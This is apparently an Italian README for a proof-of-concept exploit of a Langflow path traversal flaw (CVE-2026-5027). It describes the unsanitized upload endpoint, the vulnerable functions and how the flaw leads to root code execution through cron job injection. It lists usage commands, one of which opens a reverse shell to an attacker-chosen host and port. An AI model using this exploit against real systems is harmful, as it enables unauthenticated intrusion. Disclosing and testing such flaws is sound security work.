
Proof-of-concept exploit per CVE-2026-5027, una vulnerabilità di path traversal in Langflow che porta a esecuzione remota di codice non autenticata tramite iniezione di cron job.
Le versioni di Langflow fino alla 1.8.4 inclusa non sanitizzano il parametro filename nell'endpoint POST /api/v2/files. Un attaccante può utilizzare sequenze di path traversal (../) per scrivere file in posizioni arbitrarie del filesystem. Se combinato con la configurazione predefinita di auto-login di Langflow, questo è sfruttabile senza alcuna autenticazione, portando a Remote Code Execution come root tramite l'iniezione di cron job.
# Proof of concept (scrive un file di test in /tmp/)
python3 exploit.py -t http://target:7860
# Con credenziali (se l'auto-login è disabilitato)
python3 exploit.py -t http://target:7860 -u admin -p password
# Reverse shell tramite cron job
python3 exploit.py -t http://target:7860 --lhost YOUR_IP --lport 4444


La funzione upload_user_file() in src/backend/base/langflow/api/v2/files.py passa file.filename direttamente al servizio di storage senza sanitizzazione. Il metodo LocalStorageService.save_file() costruisce il percorso utilizzando folder_path / file_name, che non impedisce il directory traversal.
Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. Utilizzalo solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione a testare.
Yahia Hamza - https://yh.do